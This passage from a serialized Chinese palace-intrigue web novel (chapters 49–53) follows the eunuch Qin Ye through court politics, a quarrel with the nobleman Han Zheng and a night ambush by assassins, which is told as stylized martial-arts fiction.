朝堂之上，文武百官分列两班。大殿金碧辉煌，龙柱盘旋，威严肃穆。 “吾皇万岁！”群臣高呼，声音整齐划一，在大殿内回荡。 上官瑾威严地开口：“平身。”她端坐在龙椅上，目光扫过群臣。 秋官寺卿卫秋出列奏事，朝服整齐，神色恭敬：“陛下，北境云州大将军一职空缺已久，为国计民生计，还请陛下尽快择一良将。” 司马辉站在人群中，面无表情地等待着。他的目光微微闪动，似乎在思索什么。 上官瑾沉吟片刻，手指轻轻敲击龙椅扶手。殿内一片寂静，所有人都在等待她的决定。 “传旨，即日起，司马无畏为云州大将军，即刻启程赴任。”上官瑾的声音清晰地传遍大殿每个角落。 此言一出，满朝哗然。文武百官交头接耳，窃窃私语。众人都知道，上官瑾一直不愿任命司马无畏为云州大将军。这突如其来的任命，让所有人都始料未及。 司马辉更是惊讶，想起昨日秦烨那番话，不由暗自点头。他上前拱手：“臣代犬子谢恩！” 武将班中，端木正的脸色却阴沉了下来。他的手指无意识地摩挲着腰间的佩剑，眼中闪过一丝寒光。 司马辉刚说完谢恩的话，端木正便迫不及待地站了出来。 “陛下，臣有要事启奏！”他的声音中带着几分急切。 上官瑾微微抬眼，目光落在端木正身上：“成国公请讲。” “臣要弹劾司礼总管秦烨！”端木正掷地有声地说道，声音在殿内回荡。 此言一出，殿内顿时一片哗然。群臣面面相觑，窃窃私语声此起彼伏。司马辉的脸色骤变，他下意识地看向上官瑾，却见后者面色如常。 “秦烨犯了何事？”上官瑾淡淡问道。 端木正冷笑一声，从袖中取出一叠账册：“陛下明鉴，这秦烨身为司礼总管，却与宫外商人勾结，大肆贪污御库钱财。他高价采购物资，中饱私囊，接受天价贿赂。这些账册，便是证据！” 他的话音刚落，群臣便纷纷附和起来。 “陛下，此事若属实，决不可轻饶！” “动用御库钱财，这他妈是要株连全家的狠罪！” “必须严惩此贼！” 端木正看着群情激愤的场面，嘴角勾起一抹得意的笑。然而就在此时，殿外突然传来一阵骚动。 “让开！都让开！” 所有人齐刷刷扭头，只见秦烨正拖着一具尸体缓步而来。他神色从容，步伐稳健，仿佛手中拖着的不是尸体，而是一件普通的物什。 “秦烨！你这是何意？”端木正厉声喝问，声音中带着几分慌乱。 秦烨置若罔闻，径直走到殿中央，将尸体往地上一扔。扑通一声，尸体砸在地上，激起一片灰尘。 “陛下，这是秦武德的尸体。”他的声音平静得出奇。 “秦武德？”上官瑾眉头微挑，目光在尸体和秦烨之间来回游移。 “正是。”秦烨微微一笑，“端木大人说我贪污御库，想必就是从这秦武德处得来的消息吧？” 端木正的脸色瞬间变得惨白。 秦烨继续道：“这秦武德是宫中采买总管，前几日被我查出贪污受贿，已经伏法。端木大人拿着他伪造的账册来弹劾我，怕是找错了证据。” “你……你胡说！”端木正急了，额头上渗出细密的汗珠。 “胡说？”秦烨冷笑，“那端木大人可知，你手中那些账册，字迹都是秦武德所写？而且上面的印章，也是他仿造的？” 上官瑾接过账册仔细查看，眉头渐渐皱起。她的手指轻轻抚过纸面，似乎在确认什么。 “成国公，”她抬起头，目光如刀般锐利，“这是怎么回事？” 端木正的双腿开始发软：“这……这……” “不知端木大人与秦武德，是何时勾结上的？”秦烨步步紧逼，“又是如何得知他伪造的这些账册？莫非，端木大人也参与其中？” “你血口喷人！”端木正怒吼，声音中带着明显的颤抖。 秦烨不紧不慢道：“陛下若不信，可命人查验秦武德的尸体。他胸前有一道剑伤，是他畏罪自尽时留下的。而在他的住处，还藏有大量赃物，以及与商人往来的书信。” 上官瑾挥手示意太医前去查验。殿内一片寂静，所有人的目光都集中在那具尸体上。片刻后，太医回禀，果然如秦烨所言。 端木正面如死灰，双腿再也支撑不住，重重地跪倒在地。他的额头抵在冰冷的地面上，浑身颤抖。 “端木正，”上官瑾的声音冷若冰霜，“你身为国公，不思报国，反倒与贪官勾结，意图陷害忠良。来人，将他押下去严加审问！” 禁军立刻上前，架起已经瘫软的端木正。他被拖出大殿时，目光怨毒地瞪着秦烨，却见后者嘴角挂着淡淡的笑意。 殿内群臣噤若寒蝉，再也没人敢说什么。方才还群情激愤的场面，此刻安静得连根针掉在地上都能听见。 上官瑾的目光在秦烨身上停留片刻，眼中闪过一丝赞许。这个男人，果然不简单。从他入宫以来，每一步都走得如此精准。 “退朝！” 随着上官瑾的一声令下，众臣鱼贯而出。只有秦烨依旧站在原地，望着那道远去的龙袍背影，嘴角的笑意更深了几分。 朝会散后，司马府内。 府中灯火通明，下人们来回穿梭，为即将上任的新任云州大将军准备行装。 “好儿子！”司马辉拍着司马无畏的肩膀，眼中闪烁着欣慰的光芒，“这次出任云州大将军，可要好好干。让那些蛮子见识见识我司马家的本事！” 司马无畏身着锦袍，腰间配着祖传的玉佩，整个人英气勃发。“父亲放心。”他胸有成竹地笑道，“儿子定不负所托。” “对了，”司马辉正色道，声音压低，“入宫之前，记得去拜会秦烨。” “孩儿明白。这次能当上将军，多亏了秦公公帮衬。孩儿正想去当面道谢。”司马无畏点头应道。 司马辉踱步到窗前，望着院中的梅花，若有所思：“此人不同寻常，你去见他时要准备些特别的礼物。他不贪财，你得好好琢磨。” “孩儿记下了。”司马无畏沉吟片刻，“听闻秦公公喜欢古玩，不如将祖父留下的那套汉代青铜器献上？” “这主意不错。”司马辉赞许地点头，“不过还要再想想其他的。” 与此同时，韩府之中。 庭院深处，一场父子对话正在进行。 “你这孩子，怎么就不肯用心学学官场规矩？”韩明远望着儿子韩峥，眉头紧锁。案几上的茶水已经凉了，他却浑然不觉。 第四十九章 雨竹被纠缠 韩峥歪在太师椅上，摇着折扇，满不在乎地道：“父亲何必操心？姐姐在宫里得宠，将来生下龙子，咱们不就是皇亲国戚了？” “混账！”韩明远气得胡子直翘，一拍桌案，茶盏震得跳了起来，“你姐姐是什么身份，你是什么身份？莫要胡来！待会进宫，把这封信交给你姐姐，切记不可生事。” “知道了知道了。”韩峥敷衍地应着，眼神却飘向了远处。 “还有，”韩明远盯着儿子的眼睛，一字一句道，“皇后身边的雨竹，你给我离远点！这哪是你能惹的。” “儿子明白。”韩峥嘴上答应，心里却在打着小算盘。 出了府门，春日的阳光洒在青石板上，韩峥心情大好。随从周满凑上前来：“少爷，咱们这是要去见雨竹姑娘？” “那是自然。”韩峥得意地摇着扇子，“周满，你说本少爷今日这身打扮如何？” “少爷风流倜傥，雨竹姑娘定会倾心。”周满连声奉承。 韩峥哈哈大笑，昂首阔步地往宫里走去。春风拂过他的衣袖，带着几分得意与张扬。 宫中，回廊曲折，红墙绿瓦间穿梭着宫女太监。韩峥刚进宫没多久，就看到了雨竹的身影。他赶紧整理衣冠，摆出自认为最帅气的姿势。 雨竹远远看到韩峥的身影，心中暗自叹了口气。她加快脚步，想要绕开这个让人生厌的浪荡公子，裙摆在青石板路上轻轻掠过，带起一阵细微的沙沙声。 可惜事与愿违，韩峥已经发现了她。 “雨竹姑娘！”韩峥快步追了上来，脸上挂着自以为潇洒的笑容，眼神中带着几分轻浮，“这大好的春日，姑娘为何走得如此匆忙？” 雨竹停下脚步，强忍着不适转过身。她的手指下意识地绞着衣角，面上却依旧保持着得体的微笑：“韩公子有事？” 春风拂过，带来阵阵花香，却驱散不了空气中若有若无的尴尬气息。 “我看姑娘走得匆忙，不如让我送你一程如何？”韩峥搓着手，脸上的笑容愈发谄媚，“正好我的马车就停在前面。” 秦烨远远望着这一幕，眼底闪过一丝玩味。他倚在廊柱上，手中把玩着一枚玉佩，冷眼旁观着这场闹剧。这个韩峥，还真是阴魂不散。 “不必了，我还有要事在身。”雨竹淡淡道，语气中带着明显的疏离。 韩峥却不依不饶，向前跨了一步：“什么要事这么着急？让我帮你吧！以我韩家在汴城的地位，定能为姑娘排忧解难。” 雨竹微微蹙眉，后退半步拉开距离：“是要去见秦公公，不劳韩公子费心。” “秦烨？那个太监？”韩峥的表情瞬间阴沉下来，眼中闪过一丝怒意，“你去见他做什么？” “这与韩公子无关吧。”雨竹冷冷道，语气中已经带上了几分不耐。 “怎么会无关？”韩峥咬牙切齿，面目因愤怒而扭曲，“你是我心仪之人，怎能与那种阉人来往？你可知道，那种人连……” “韩公子说笑了，我与你素无瓜葛。”雨竹打断他的话，转身就要离开。 韩峥一把抓住她的手腕，力道之大让雨竹忍不住皱眉：“你不能去见他！” “放手！”雨竹用力挣脱，白皙的手腕上已经留下了红痕。 “周满，拦住她！”韩峥对身边随从喝道，声音中带着不容置疑的命令。 秦烨见状，缓缓直起身子。他放下手中的玉佩，眼中闪过一丝寒意，大步走了过来。 “刘公子这是要做什么？”他淡淡开口，声音不疾不徐，却带着一股莫名的威压。 “秦烨！”韩峥恶狠狠地盯着他，“你这个太监，也配与雨竹来往？真是不知天高地厚！” 秦烨轻笑一声，眼底闪过一丝不屑：“我配不配，似乎不是你说了算。再说，雨竹姑娘愿意与谁来往，也轮不到你来指手画脚。” “你……”韩峥气得脸色铁青，指着秦烨的手都在颤抖，“我爹是民部主事韩明远，你最好识相点！” “哦？”秦烨挑了挑眉，语气中带着几分戏谑，“那又如何？” 韩峥被这轻蔑的态度激怒，额头上青筋暴起：“周满，给我教训这个不知天高地厚的太监！” 周满刚要动手，一道身影突然闪现。 “住手！” 司马无畏及时赶到，冷冷地看着韩峥。他身着锦袍，腰间佩剑，一身贵气尽显无疑。 “司马兄？”韩峥一愣，脸上的怒意瞬间消散了几分，“你怎么会在这？” “我来找秦公公有事。”司马无畏淡淡道，目光在韩峥脸上扫过，“韩峥，你最好别惹事。这里是皇城，不是你撒野的地方。” “司马兄，你竟然为了一个太监……”韩峥难以置信地看着司马无畏。 “闭嘴！”司马无畏厉声打断，眼中闪过一丝怒意，“秦公公是我朋友，你若敢动他，就是与我司马家为敌！” 韩峥脸色变了又变。他很清楚司马家的势力，那可是开国功臣，不是他们韩阳家能够得罪的。 “哼！”他狠狠瞪了秦烨一眼，“走着瞧！”说完，转身离去，背影中满是不甘。 看着韩峥灰溜溜离开的背影，秦烨微微一笑：“多谢司马兄相助。” “秦公公客气了。”司马无畏拱手，“这韩峥不过是个浪荡公子，公公不必将他放在心上。只是……”他顿了顿，“他姐姐是昭仪娘娘，恐怕不会就此罢休。” 雨竹走到秦烨身边，轻声道：“多亏秦公公及时赶到。”她的声音还带着些许颤抖，显然方才的冲突让她受了不小的惊吓。 秦烨看着她担忧的样子，心中一暖：“无妨，有我在，不会让人欺负你的。” 远处的角落里，韩峥躲在一根粗大的廊柱后，眼中闪烁着阴冷的光芒。 “少爷，现在怎么办？”周满小声问道，“那秦烨……” “哼！”韩峥冷笑一声，“一个太监而已，我倒要看看，他能嚣张到几时！就算有司马家撑腰又如何？” “少爷是想……” “去找我姐姐！”韩峥眼中精光一闪，“她可是宫里的昭仪，收拾一个太监还不是易如反掌？” 周满连连点头：“少爷高明！昭仪娘娘在宫里位高权重，那秦烨再厉害，还不是得乖乖听命？” “走！”韩峥冷笑着转身离去，“我倒要看看，等姐姐出手，他还能不能这么嚣张！” 秦烨并不知道韩峥的打算，此时正与司马无畏谈笑风生。 “秦公公武艺高强，其实不必怕那韩峥。”司马无畏笑道，“只是他那个姐姐……” “我自然不怕他。”秦烨摇头，“只是不想节外生枝罢了。至于昭仪娘娘……”他眼中闪过一丝深意，“也不必太过担心。” “公公说得是。”司马无畏深以为然，“那韩峥不过是仗着家世横行霸道，早晚会栽个大跟头。” 第五十章 韩玉仪赔礼 “时候不早了。”秦烨看了看天色，“雨竹，我送你回去吧。” “秦公公……”雨竹欲言又止，手指不安地绞着衣角。 “怎么了？” “那韩峥不会善罢甘休的。”雨竹担忧道，“他姐姐是昭仪娘娘，在宫里……” 秦烨轻笑：“不必担心，有我在，他掀不起什么风浪。” 雨竹点点头，心中却仍有些不安。她总觉得，这件事恐怕没那么简单。 就在这时，宫道上传来急促的脚步声。韩峥派出去的周满领着韩玉仪匆匆赶来。 “姐姐！分明就是那个阴险狡诈的阉人，他……”韩峥见到韩玉仪，立刻从阴暗的角落处跳了出来想要告状，声音中带着几分得意。 韩玉仪却是一眼就看到了秦烨，连忙露出端庄的笑容：“秦公公，近来可好？”她的声音温婉动听，举止优雅得体。 “托娘娘的福，”秦烨微微一笑，目光意味深长，“就是令弟似乎对我有些意见。” 韩玉仪闻言脸色一变。她太了解自己这个不成器的弟弟了，一定是又闯祸了。她的手指微微颤抖，显然在压抑着怒气。 “啪！” 清脆的耳光声在殿前回荡。韩峥捂着脸，不可置信地看着自己的姐姐：“你……你打我？”他的声音中带着震惊和愤怒。 “混账东西！”韩玉仪怒斥，声音中带着压抑的怒火，“你可知道秦公公是什么人？还不快给秦公公赔罪！” “我凭什么给一个太监赔罪！”韩峥梗着脖子，眼中闪过倔强。 “啪！” 又是一记响亮的耳光。韩峥的脸颊瞬间红肿起来，他彻底怒了，抬手就要打回去。 “放肆！” 秦烨一个箭步上前，挡在韩玉仪身前。他的声音不大，却带着不容置疑的威严：“敢对娘娘动手，你是想造反不成？” 韩峥被这气势震慑，连退数步。他环顾四周，发现司马无畏也是一脸冷意地看着他。殿前的侍卫们纷纷按住了刀柄，目光冰冷。 韩峥这才意识到自己闯了大祸，脸色瞬间变得惨白。他转身就跑，狼狈的背影很快消失在宫道尽头。 “秦公公，小弟无状，让您见笑了。”韩玉仪连忙赔礼，声音中带着歉意和担忧。 “娘娘言重了，”秦烨摆手，语气温和，“令弟年轻气盛，教训教训也好。” 韩玉仪暗暗松了口气。她很清楚，若是得罪了眼前这位司礼总管，自己在后宫的日子就不好过了。宫中的明枪暗箭，她已经见识得够多了。 “无畏兄要去见皇后娘娘吧？”秦烨转移话题，眼中闪过一丝精明，“不如我陪你一起去？” “那就有劳贤弟了。”司马无畏爽快应道。 “娘娘若是得空，不妨也一同前往？”秦烨转头看向韩玉仪。 “正有此意。”韩玉仪连忙应道，脸上重新露出端庄的笑容。 三人说笑着向皇后寝宫走去。宫道两旁的牡丹开得正艳，香气四溢。 长春宫内，秦烨轻声安慰着司马皇后，目光中带着几分温和。 “皇后娘娘大可不必过于自责，这事本就不在您。”他的声音轻缓，带着恰到好处的关切。 司马皇后眼角微红，手中绢帕微微攥紧：“若非我一时心软，也不至于让那些人钻了空子。” 一旁的司马无畏摇头叹息：“确实太过欠管教了。这些人仗着自己有几分功名，就敢在朝堂上如此放肆。” 秦烨看向司马无畏，对方眼中闪过一丝赞许。两人相视一笑，仿佛达成某种默契。 “说起来，今日早朝那一幕当真精彩。”司马无畏轻抚胡须，“端木正那老匹夫，也该尝尝被人当众羞辱的滋味。” 秦烨微微颔首，想起早朝时的情形。端木正跪地请罪的模样，至今历历在目。那张平日里趾高气扬的脸，此刻却不得不贴着冰冷的地面。 “无畏兄过奖了。”秦烨谦逊道，“不过是运气使然。” 司马皇后看着两人谈笑风生的模样，眼中闪过一丝欣慰。她轻声道：“时候不早了，我先回宫歇息。你们慢慢聊。” 待司马皇后离去，司马无畏的神色变得严肃起来：“秦公公，你可知道端木正背后站着谁？” 秦烨眸光一闪：“难道是……” “不错，正是太子一党。”司马无畏压低声音，“这次你让端木正出丑，恐怕已经被他们记恨上了。” 与此同时，御医署内。 端木正怒气冲冲地闯入，脸色阴沉得能滴出水来。他一把掀翻了门口的药架，瓷瓶碎裂的声音在走廊里回荡。 “赵马康！你这老匹夫给我滚出来！” 内室的门被推开，赵马康慢悠悠地走出来。他看着满地狼藉，眉头微皱：“成国公这是何必？” “何必？”端木正冷笑，“你给我的那些情报，害得老子在朝堂上出尽洋相！还要给那小太监道歉！” 赵马康不慌不忙地整理着袖口：“成国公，你不会真以为我给你那些消息是让你亲自上阵的吧？这种事情，随便找个小官试探不就完了？何必自己冒这个险？” 端木正一愣，随即更怒：“你这是在说我蠢？” “这可是你自己说的。”赵马康冷笑，“成国公，你我合作多年，我还不知道你的性子？就知道你定会按捺不住。” 端木正再也忍不住，一掌朝赵马康拍去。两人顿时扭打在一起，御医署内顿时一片狼藉。几个小太医吓得躲在角落，不敢作声。 另一边，承明殿前。 秦烨与司马无畏相谈甚欢，两人在军事谋略上颇有共鸣。司马无畏不时点头，眼中的赞赏之色愈发浓郁。 “李兄弟对兵法之道竟有如此见解，实在令人刮目相看。”司马无畏感叹道，“比那些朝中大员强多了。” 秦烨谦虚地笑了笑：“无畏兄过誉了，不过是平日里略有研究罢了。” “时候不早了，该告辞了。”司马无畏起身道，“改日咱们再找机会畅饮。” 就在这时，司马无畏从怀中取出一枚木质令牌，上面刻着一个“剑”字，光泽温润。 “这是……”秦烨有些疑惑地接过令牌。 “汴城第一大帮派玄铁会，听说过吗？”司马无畏意味深长地问。 秦烨摇头：“我一直在宫中，对这些江湖事并不了解。” “这令牌是玄铁会坐上宾的信物。”司马无畏解释道，“持此令牌可在玄铁会求助。玄铁会帮主赵马玄是我结拜兄弟，江湖武榜排名第三的高手。” 秦烨抚摸着令牌，心中思绪万千。这块看似普通的木牌，或许能在将来成为一张关键的底牌。 “多谢无畏兄信任。”他郑重道谢。 “贤弟不必客气。”司马无畏拍了拍他的肩，“日后若有用得着的地方，尽管去找赵马玄。"在下赵马玄，手中幽兰剑"这句话，江湖上无人不知。” “贤弟不必多虑。”司马无畏放下茶杯，眼中闪过一丝精光，“玄铁会那边，赵马玄定会为你效劳。这些年来，他一直都是可靠之人。” 第五十一章 下蛊失败 秦烨轻轻摇晃着茶杯，看着杯中茶叶沉浮。他能感受到司马无畏话语中的真诚，但江湖事远比茶水更难看透。 “多谢司马兄。”他放下茶杯，起身拱手。 司马无畏抬头望了望渐暗的天色，眉头微蹙：“天色不早，我得赶在宫禁之前离开。” “让我送无畏兄一程。” “不必如此。” “兄长远来是客，理应相送。”秦烨坚持道。 两人一路说笑，行至皇城大门外。夜风徐徐，带着几分凉意。远处的灯火在风中摇曳，如同点点星辰坠入人间。 “贤弟，就此别过。”司马无畏拱手，目光中带着几分不舍。 “保重。”秦烨目送着司马无畏远去的背影，直到那道身影消失在夜色中。 “公公，宫门即将关闭，请速速入内。”守门侍卫的提醒打断了他的思绪。 秦烨点头应下，转身返回了宫门内。 与此同时，御医署内。 赵马康抹去嘴角的血迹，目光阴冷地望着端木正离去的方向。烛光在他脸上投下诡异的阴影，衬得他的表情更加阴森可怖。 “院长。”一个黑衣药童从密室中无声走出，声音低沉。 “何事？”赵马康头也不回地问道。 “礼宾院那边……老六下蛊失败了。”药童的声音中带着一丝颤抖。 “什么？”赵马康猛地转身，脸色骤变，“怎会如此？” “有人为柔木氏公主解了蛊。老六重伤被困，直到现在才传出消息。” “是谁坏我好事？”赵马康的声音中带着刺骨的寒意。 “秦烨。” 赵马康眼中寒光闪烁，如同利刃出鞘：“又是这个秦烨！传令下去，不惜一切代价，杀了他！” “是。”黑衣药童领命而去，身影很快消失在黑暗中。 此时的秦烨还在宫道上缓步而行。月光洒在青石板上，将他的影子拉得很长。四周寂静无声，只有夜风吹过树梢的沙沙声。 突然，一片树叶无声飘落。秦烨眼神一凛，身形微动。下一刻，一支暗箭破空而来，直取他的咽喉。 秦烨身形一闪，暗箭擦着他的衣袖飞过。他冷笑一声，手中银针如流星般射出。 “嗖嗖嗖！” 几声闷哼传来，暗处倒下两个黑影。但更多的杀手从四面八方包围过来，月光下闪烁着冷兵器的寒光。 秦烨神色凝重。这些人的身手不凡，显然是经过专业训练的死士。能派出这样的杀手，对方的身份已经呼之欲出。 一个杀手持刀劈来，刀光如霜。秦烨侧身避过，同时手腕一抖，银针刺入对方穴道。那人连声音都未发出就软倒在地。 又有两人从背后偷袭，秦烨早有准备。他脚下一转，银针已然封住他们的穴位。这些人虽然身手不凡，但在他的银针之下仍是不堪一击。 “不知是哪位好心人这么惦记我？”秦烨把玩着手中的银针，针尖在月光下闪烁着微光，“连杀手都请来了，真是让我受宠若惊啊。” 剩下的黑衣人们依旧沉默，手中长刀微微扬起，刀尖直指秦烨。空气中的杀意更浓了几分。 “这么不近人情？”秦烨轻叹一声，语气中带着几分无奈，“连让我死个明白都不肯？” 回应他的是呼啸而至的刀光。 四柄长刀几乎同时斩向秦烨的要害，刀势凌厉，角度刁钻。一刀直取咽喉，一刀斩向心口，另外两刀则分别攻向他的左右两肋。这配合默契的一击，几乎没有留下任何躲避的空间。 秦烨眼中精光一闪，嘴角的笑意更深了。七星养气诀的威力，也该试试了。 “锵！” 刀锋劈在秦烨身上，发出金铁交鸣的清脆声响。然而预想中的血光并未出现，那些锋利的刀刃仿佛劈在了精钢上一般，只在他的皮肤上留下几道浅浅的白痕。 四名黑衣人面具下的眼神中闪过震惊，他们下意识地后退半步。 “这小子身上有古怪！”一个黑衣人低声喝道。 “一定是穿了软甲！”另一个黑衣人咬牙说道。 他们正要再度出手，秦烨却已经动了。 他的身形如鬼魅般闪过，快得几乎留下残影。转瞬之间，他已经出现在两名黑衣人身后，一把抓住他们的手腕。 “咔嚓！” 骨骼碎裂的声音令人牙酸。两名黑衣人还未来得及发出惨叫，就被秦烨如同破布般甩了出去。 两柄长刀坠地，发出清脆的响声。而那两名黑衣人的身体，正好撞向另外两名同伴正在下劈的刀锋。 剩下的黑衣人来不及收回刀势，直接劈在了同伴身上。鲜血飞溅，染红了月光下的青石地面。 “自相残杀？这可不太好。”秦烨摇头晃脑地说道，语气中带着几分戏谑。 角落里，一个黑衣药童目睹这一切，瞳孔急剧收缩。这个太监的实力，远远超出了他的预料。那诡异的防御能力，还有那恐怖的力量，都不是普通人能够拥有的。 剩下的两名黑衣人显然也意识到对手不好对付。他们迅速调整站位，配合更加默契地展开新一轮进攻。刀光如织，将秦烨笼罩在密不透风的刀网之中。 然而秦烨却毫不躲闪。 有七星养气诀护体，这些普通的刀剑根本伤不到他。他径直冲向两名黑衣人，任由长刀劈在身上，双拳如雷霆般轰出。 “砰！” 两声沉闷的响声几乎同时响起。 黑衣人的胸口瞬间凹陷，整个人如同断线的风筝般倒飞出去，重重撞在宫墙上。鲜血从他们口中涌出，面具下传来痛苦的呻吟声。 秦烨拍了拍手，弯腰捡起一柄长刀，在月光下仔细端详起来。刀身上还残留着温热的血迹，散发着淡淡的腥气。 就在这时，角落里传来一声轻微的响动。 枯叶被踩碎的声音在寂静的夜色中格外清晰。 “啧啧，看来还有漏网之鱼。”秦烨提着长刀，悠然向声音传来的方向走去。月光下，他的身影拖得很长，仿佛一个索命的阎罗。 黑衣药童暗叫不妙，冷汗顺着面具的边缘滑落。他急忙掏出白帕和短刀，准备做最后的挣扎。白帕中装着剧毒的毒粉，是他最后的保命手段。 就在秦烨靠近的瞬间，黑衣药童猛地从阴影中跃出。白帕中的毒粉如烟雾般扑面而来，在月光下泛着诡异的青光。 秦烨早有防备，身形一晃，轻松避开毒粉的笼罩范围。他能闻到空气中那若有若无的苦杏仁味，显然这毒粉的威力不容小觑。 黑衣药童见毒粉未能奏效，立刻变招。短刀直取秦烨咽喉，刀势迅捷，角度刁钻。 然而这一击却被长刀轻易挡住。 “身手不错，比那几个强多了。”秦烨笑道，语气中带着几分赞赏。 黑衣药童心知不敌，立刻改变策略。他纵身跃上宫墙，想要借着夜色掩护逃走。 “想跑？” 秦烨手中长刀脱手而出，破空飞向墙头。刀身在月光下划出一道银色的弧线，势大力沉，不可阻挡。 第五十二章 陛下在关心我 黑衣药童慌忙掷出短刀想要格挡，手中长刀猛然劈下，来势凶猛，一招便将那柄短刀震开。金属相撞的清脆声响在夜空中回荡。 没了武器的他，只能伸手去接这势不可挡的一刀。这一夜的月光格外明亮，将他惊恐的表情照得清清晴晴。他知道，自己的命运已经注定。 长刀势如破竹，轻易穿透了他的胸膛。鲜血如泉涌般喷洒而出，在月光下化作一片血雾。黑衣药童的身体重重摔落在地。 秦烨走近，蹲下身子查看。这时，黑衣药童突然睁开眼虚空一挥，一道白色的粉末顺势朝秦烨脸上洒了过来，秦烨连忙转头躲避。等他再转回头时，发现对方已经消失不见了。 “年纪轻轻，就走上这条路，也是可惜了。”秦烨轻叹一声。 夜风吹过，卷起几片血染的落叶。秦烨站起身，环视四周。地上横七竖八躺着四具尸体，鲜血将青石地面染成暗红色。这一场突如其来的夜袭，就这样结束了。 夜色渐深，月光如水般洒落在宫墙下的青石板上，将秦烨的身影拉得很长。他握着那块染血的手帕，缓步前行，脚步声在寂静的夜里格外清晰。 刚才那一场遭遇战来得突然，结束得也快。那药童的身手不错，但在他面前依旧不够看。秦烨抬手擦了擦额角的冷汗，眼神中闪过一丝警惕。 “端木正这是坐不住了啊。”他轻声自语，声音里带着几分疲惫。 夜风吹过，带来一阵凉意。秦烨下意识地裹紧了衣衫，目光不由自主地投向承明殿的方向。宫灯依旧明亮，显然女帝还未就寝。他加快了脚步，虽然这次的刺杀已经化解，但背后的阴谋却不得不防。 推开殿门时，温暖的烛光扑面而来。上官瑾正在批阅奏折，烛火映照下的侧脸显得格外柔和。听到脚步声，她头也不抬地继续批阅着手中的奏章。 “今天可真够折腾的。”秦烨伸了个懒腰，故作轻松地打了个哈欠。 上官瑾这才抬起头来，凤眸中带着几分审视：“今天发生什么事了？” 话音未落，她的目光突然凝固在秦烨身上。那件青色长衫上，几道明显的刀痕触目惊心，衣料边缘还沾着些许未干的血迹。 “你受伤了？”上官瑾猛地站起身，御案上的朱笔滚落在地，发出清脆的声响。她快步走到秦烨面前，那双平日里威严的凤眸中此刻满是担忧。 秦烨心头一暖：“陛下这是在关心我？” “少贫嘴！”上官瑾瞪了他一眼，仔细检查着他的伤势，“到底怎么回事？” “回宫路上遇到几个刺客，不过都解决了。”秦烨轻描淡写道，但说话时微微皱起的眉头还是暴露了他的疲惫。 上官瑾上下打量着他，确认血迹不是他的之后，才稍稍放心。她转身唤来宫女，吩咐准备热水和伤药。 “以后要多加小心。”她回到御座，继续批阅奏折，“可知道是什么人？” 秦烨摇头：“具体不清楚，但想来是那些人按捺不住了。” “那你打算如何？”上官瑾放下朱笔，认真地看着他。 “陛下，我需要一处宫外的院子。”秦烨正色道，“宫里虽然安全，但行动多有不便。” 上官瑾略一思索就答应了：“好，朕让人安排。不过……”她顿了顿，“你要答应朕，一定要小心。” “多谢陛下。”秦烨笑道，“不过看陛下这么关心我，是不是该给点奖励？” 上官瑾俏脸一红：“你这奴才，又没大没小了。” “陛下不是最喜欢我这样吗？”秦烨笑得更欢。 上官瑾轻哼一声，唤来了沈化林，吩咐他以后多加保护秦烨。沈化林躬身应是，然后又隐身于黑暗之中。 与此同时，御医署内。 赵马康正在熬药，突然听到外间传来一阵急促的脚步声。药童踉跄着闯了进来，脸色苍白如纸。 “怎么回事？”他脸色一沉，放下手中的药碗。 药童捂着胸口，气息微弱：“那太监……有武功，很厉害……” 赵马康眉头紧锁：“没被跟踪吧？” “属下绕了大圈才回来。”药童说着，又咳出一口鲜血。 “我给你看看伤。”赵马康走上前，伸手就要为药童把脉。 就在这时，变故陡生！ 插在药童手心的三枚银针突然迸射而出，瞬间洞穿了他的胸膛。血雾四溅中，银针去势不减，直奔赵马康而来。 赵马康脸色大变，但已来不及运功抵挡。三枚银针势如闪电，瞬间击中他的要害。他连退数步，才勉强稳住身形，但已是面如土色。 这一刻，赵马康终于意识到，自己似乎小看了这个叫秦烨的太监。不仅医术高明，武功更是深不可测。最可怕的是，此人心思缜密，竟在银针上留了这么一手。 “这个该死的秦烨。”赵马康即一口鲜血喷出，重重地倒在了地上。 御医署外，夜色愈发深沉。远处传来更夫打更的声音，回荡在寂静的宫墙之间。一个黑影悄无声息地掠过屋脊，消失在夜色中。 第二天一早，御医署发生命案的消息就传遍了整个皇宫。 秦烨站在殿外的回廊上，看着远处来来往往的宫人，若有所思。 “秦公公。”一个太监快步走来，“陛下宣您觐见。” 秦烨整了整衣衫，跟着太监往承明殿走去。路上，他注意到暗处多了不少眼睛，显然各方势力都在关注这件事。 承明殿内，上官瑾正在听取沈化林的汇报。 “御医署死了两个人，一个是赵太医，一个是他的药童。”沈化林低声道，“现场发现了三枚银针，是江湖中常见的暗器。” 上官瑾看向秦烨：“你怎么看？” 秦烨躬身道：“回陛下，这事怕是没那么简单。赵太医虽然医术平平，但在御医署中资历颇深，与端木正也有些渊源。” “你是说……”上官瑾若有所思。 “陛下明鉴。”秦烨没有多说，但意思已经很明显。 上官瑾沉吟片刻：“此事交由西署彻查，不得打草惊蛇。” “卑职遵旨。”沈化林应声退下。 殿内一时安静下来，只剩下檀香袅袅。秦烨站在殿中，感受到上官瑾投来的目光。 “你昨晚说要的院子，朕已经让人准备好了。”上官瑾开口打破沉默，“就在城南，靠近江边，环境清幽，回头让沈化林陪你去。” 秦烨微微一笑：“多谢陛下。” “你……”上官瑾欲言又止，最后只是轻叹一声，“去吧。” 韩府后院，一道人影快步而行，脚步声急促而凌乱。正是韩峥带着随从周满匆匆归来。 “少爷，您走慢些。”周满气喘吁吁地跟在后面，额头上渗出细密的汗珠。 韩峥充耳不闻，脸色阴沉得能滴出水来。今日在雨竹面前丢了这么大的脸，还被那个小太监秦烨羞辱，连自己的姐姐韩玉仪都不帮自己说话。这口气，他如何咽得下去？ 月光透过庭院中的梧桐树洒下斑驳的影子，映在韩峥扭曲的面容上。他的手指深深掐进掌心，指甲在皮肉上留下深深的痕迹。 第五十三章 负荆请罪 “父亲一定会为我做主！”韩峥咬牙切齿，声音里充满怨毒。 姐姐让他面壁思过一个月的话早被抛到九霄云外，现在他脑子里只有一个念头——找父亲告状，让父亲收拾那个不知天高地厚的秦烨。 来到后院书房外，几个仆人连忙上前阻拦。烛光从房内透出，在地上投下摇曳的影子。 “少爷且慢，老爷正在和贵客议事，吩咐过谁都不能打扰。”一个年迈的仆人弯着腰，小心翼翼地说道。 “滚开！”韩峥一脚踹开挡在面前的仆人，那仆人踉跄着摔倒在地，发出一声闷哼。 砰的一声巨响，书房的门被粗暴推开，门框剧烈震动，差点脱离门轴。 屋内，韩明远正与司马辉、秦竹远谈事。三人闻声望去，见是韩峥如此无礼闯入，脸色顿时都变了。烛光下，几人的表情显得格外严肃。 